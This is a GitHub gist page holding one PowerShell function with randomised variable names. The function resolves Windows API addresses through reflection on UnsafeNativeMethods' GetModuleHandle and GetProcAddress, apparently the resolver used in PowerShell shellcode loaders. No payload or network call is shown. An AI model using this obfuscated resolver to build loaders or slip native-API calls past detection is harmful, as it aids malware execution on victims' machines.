Navigation Menu

Skip to content

Instantly share code, notes, and snippets.

@JohnHammond
Created May 3, 2021 23:09
Show Gist options
  • Star 2 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save JohnHammond/94d3f3d05adbf5f0f75f4a918f0148da to your computer and use it in GitHub Desktop.
Save JohnHammond/94d3f3d05adbf5f0f75f4a918f0148da to your computer and use it in GitHub Desktop.
function sOH {
Param ($o73, $icO)
$zJ3 = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
return $zJ3.GetMethod('GetProcAddress', [Type[]]@([System.Runtime.InteropServices.HandleRef], [String])).Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($zJ3.GetMethod('GetModuleHandle')).Invoke($null, @($o73)))), $icO))
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment